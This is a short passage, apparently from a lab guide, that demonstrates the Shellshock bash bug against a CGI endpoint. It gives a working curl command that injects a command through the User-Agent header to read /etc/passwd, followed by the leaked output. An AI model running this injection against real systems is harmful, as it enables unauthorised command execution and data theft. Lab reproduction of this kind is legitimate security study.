⁠Exploitation

The web application/vulnerable bash version can be exploited as shown below:

# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'" http://your-ip:8080/cgi-bin/stats

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
